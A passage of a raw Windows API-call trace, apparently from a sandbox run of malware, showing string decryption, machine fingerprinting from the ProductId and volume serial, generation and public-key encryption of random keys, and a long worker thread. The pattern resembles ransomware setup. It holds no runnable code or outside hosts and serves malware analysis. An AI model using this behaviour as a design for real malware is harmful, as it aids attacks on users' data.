hKey=0x2fef7d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fefd98, pdwDataLen=0x18f7d8 | out: pbData=0x2fefd98, pdwDataLen=0x18f7d8) returned 1 [0062.698] CryptDestroyKey (hKey=0x2fef7d0) returned 1 [0062.698] SetErrorMode (uMode=0x1) returned 0x0 [0062.698] GetLogicalDrives () returned 0x4 [0062.698] GetProcessHeap () returned 0x2fd0000 [0062.698] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x40) returned 0x2fed008 [0062.698] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f2e0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef7d0) returned 1 [0062.698] CryptDecrypt (in: hKey=0x2fef7d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fed008, pdwDataLen=0x18f350 | out: pbData=0x2fed008, pdwDataLen=0x18f350) returned 1 [0062.698] CryptDestroyKey (hKey=0x2fef7d0) returned 1 [0062.698] GetProcessHeap () returned 0x2fd0000 [0062.698] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fecad8 [0062.698] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f2e0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef7d0) returned 1 [0062.698] CryptDecrypt (in: hKey=0x2fef7d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fecad8, pdwDataLen=0x18f350 | out: pbData=0x2fecad8, pdwDataLen=0x18f350) returned 1 [0062.698] CryptDestroyKey (hKey=0x2fef7d0) returned 1 [0062.699] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f34c | out: phkResult=0x18f34c*=0xc4) returned 0x0 [0062.699] RegQueryValueExA (in: hKey=0xc4, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18f358, lpcbData=0x18f354*=0x400 | out: lpType=0x0, lpData=0x18f358*=0x30, lpcbData=0x18f354*=0x18) returned 0x0 [0062.699] RegCloseKey (hKey=0xc4) returned 0x0 [0062.699] GetProcessHeap () returned 0x2fd0000 [0062.699] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fed008 | out: hHeap=0x2fd0000) returned 1 [0062.699] GetProcessHeap () returned 0x2fd0000 [0062.699] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecad8 | out: hHeap=0x2fd0000) returned 1 [0062.699] GetProcessHeap () returned 0x2fd0000 [0062.699] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fecad8 [0062.699] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f0c0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef7d0) returned 1 [0062.699] CryptDecrypt (in: hKey=0x2fef7d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fecad8, pdwDataLen=0x18f124 | out: pbData=0x2fecad8, pdwDataLen=0x18f124) returned 1 [0062.699] CryptDestroyKey (hKey=0x2fef7d0) returned 1 [0062.699] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f128, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0062.699] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f120, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f120*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.700] GetProcessHeap () returned 0x2fd0000 [0062.700] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecad8 | out: hHeap=0x2fd0000) returned 1 [0062.700] wsprintfA (in: param_1=0x18f36f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0062.700] wsprintfW (in: param_1=0x18f780, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0062.700] wsprintfW (in: param_1=0x18f790, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0062.700] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.700] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.701] GetProcessHeap () returned 0x2fd0000 [0062.701] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x34) returned 0x2fef7d0 [0062.701] GetProcessHeap () returned 0x2fd0000 [0062.701] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb68 [0062.701] GetProcessHeap () returned 0x2fd0000 [0062.701] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x2c) returned 0x2ff0620 [0062.701] CryptGenRandom (in: hProv=0x2fece38, dwLen=0x20, pbBuffer=0x2ff062c | out: pbBuffer=0x2ff062c) returned 1 [0062.701] GetProcessHeap () returned 0x2fd0000 [0062.701] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x2c) returned 0x2ff0658 [0062.701] CryptGenRandom (in: hProv=0x2fece38, dwLen=0x20, pbBuffer=0x2ff0664 | out: pbBuffer=0x2ff0664) returned 1 [0062.701] GetProcessHeap () returned 0x2fd0000 [0062.701] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fecad8 [0062.701] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f760, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2ff0690) returned 1 [0062.701] CryptDecrypt (in: hKey=0x2ff0690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fecad8, pdwDataLen=0x18f7c8 | out: pbData=0x2fecad8, pdwDataLen=0x18f7c8) returned 1 [0062.701] CryptDestroyKey (hKey=0x2ff0690) returned 1 [0062.701] GetProcessHeap () returned 0x2fd0000 [0062.701] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x80) returned 0x2ff0690 [0062.701] GetProcessHeap () returned 0x2fd0000 [0062.701] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x80) returned 0x2ff0718 [0062.701] CryptImportKey (in: hProv=0x2fece38, pbData=0x2fee498, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f7a8 | out: phKey=0x18f7a8*=0x2ff07a0) returned 1 [0062.701] CryptEncrypt (in: hKey=0x2ff07a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2ff0690*, pdwDataLen=0x18f7ac*=0x75, dwBufLen=0x80 | out: pbData=0x2ff0690*, pdwDataLen=0x18f7ac*=0x80) returned 1 [0062.701] CryptDestroyKey (hKey=0x2ff07a0) returned 1 [0062.701] CryptImportKey (in: hProv=0x2fece38, pbData=0x2fee498, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f7a8 | out: phKey=0x18f7a8*=0x2ff07a0) returned 1 [0062.701] CryptEncrypt (in: hKey=0x2ff07a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2ff0718*, pdwDataLen=0x18f7ac*=0x75, dwBufLen=0x80 | out: pbData=0x2ff0718*, pdwDataLen=0x18f7ac*=0x80) returned 1 [0062.702] CryptDestroyKey (hKey=0x2ff07a0) returned 1 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecad8 | out: hHeap=0x2fd0000) returned 1 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa0) returned 0x2ff07a0 [0062.702] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f750, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2ff0848) returned 1 [0062.702] CryptDecrypt (in: hKey=0x2ff0848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2ff07a0, pdwDataLen=0x18f7b8 | out: pbData=0x2ff07a0, pdwDataLen=0x18f7b8) returned 1 [0062.702] CryptDestroyKey (hKey=0x2ff0848) returned 1 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1c) returned 0x2fecad8 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa) returned 0x2feedf0 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feee08 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x19) returned 0x2fecb00 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feee20 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xd) returned 0x2feee38 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1a) returned 0x2fecb28 [0062.702] GetProcessHeap () returned 0x2fd0000 [0062.702] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1b) returned 0x2fecb50 [0062.702] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0062.702] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0062.702] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0062.703] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0062.703] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0062.703] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0062.703] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0062.703] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0062.703] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0062.703] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff07a0 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feedf0 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feee08 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecb00 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feee20 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feee38 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecb28 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecb50 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.703] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecad8 | out: hHeap=0x2fd0000) returned 1 [0062.703] GetProcessHeap () returned 0x2fd0000 [0062.704] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1000) returned 0x2ff07a0 [0062.704] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2ff07a0, ObjectInformationLength=0x1000, ReturnLength=0x18f79c | out: ObjectInformation=0x2ff07a0, ReturnLength=0x18f79c) returned 0xc0000004 [0062.704] GetProcessHeap () returned 0x2fd0000 [0062.704] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff07a0 | out: hHeap=0x2fd0000) returned 1 [0062.704] GetProcessHeap () returned 0x2fd0000 [0062.704] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x2000) returned 0x2ff07a0 [0062.704] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2ff07a0, ObjectInformationLength=0x2000, ReturnLength=0x18f79c | out: ObjectInformation=0x2ff07a0, ReturnLength=0x18f79c) returned 0x0 [0062.704] RtlGetVersion (in: lpVersionInformation=0x18f688 | out: lpVersionInformation=0x18f688*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0062.704] GetProcessHeap () returned 0x2fd0000 [0062.704] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff07a0 | out: hHeap=0x2fd0000) returned 1 [0062.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404f50, lpParameter=0x2fec328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4 [0062.705] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0103.551] CloseHandle (hObject=0xc4) returned 1 [0103.551] GetProcessHeap () returned 0x2fd0000 [0103.551] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff0690 | out: hHeap=0x2fd0000) returned 1 [0103.551] GetProcessHeap () returned 0x2fd0000 [0103.551] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff0718 | out: hHeap=0x2fd0000) returned 1 [0103.551] GetProcessHeap () returned 0x2fd0000 [0103.551] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff0620 | out: hHeap=0x2fd0000) returned 1 [0103.551] GetProcessHeap () returned 0x2fd0000 [0103.551] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff0658 | out: hHeap=0x2fd0000) returned 1 [0103.551] GetProcessHeap () returned 0x2fd0000 [0103.551] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef7d0 | out: hHeap=0x2fd0000) returned 1 [0103.551] GetProcessHeap () returned 0x2fd0000 [0103.551] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb68 | out: hHeap=0x2fd0000) returned 1 [0103.551] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec328 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb68 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef768 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feca60 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef310 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefd10 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefd98 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecfc0 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb58 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec8a8 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec8d0 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fecf78 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feec40 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec9e8 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feca38 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feca10 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef098 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.552] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fe6988 | out: hHeap=0x2fd0000) returned 1 [0103.552] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec920 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef350 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feec70 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef360 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec8f8 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef370 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feec58 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef380 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef738 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef390 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef0b8 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef3a0 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec378 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feec88 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef3c0 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef3b0 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec970 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef3e0 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef3d0 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef410 | out: hHeap=0x2fd0000) returned 1 [0103.553] GetProcessHeap () returned 0x2fd0000 [0103.553] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef400 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef430 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef420 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef450 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef440 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef470 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef460 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feeca0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef480 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feecb8 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef490 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feecd0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef4a0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef4c0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef4b0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef4e0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef4d0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef500 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef4f0 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef520 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.554] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef510 | out: hHeap=0x2fd0000) returned 1 [0103.554] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef290 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef530 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feece8 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef540 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feed00 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef550 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef570 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef560 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef590 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef580 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef5b0 | out: hHeap=0x2fd0000) returned 1 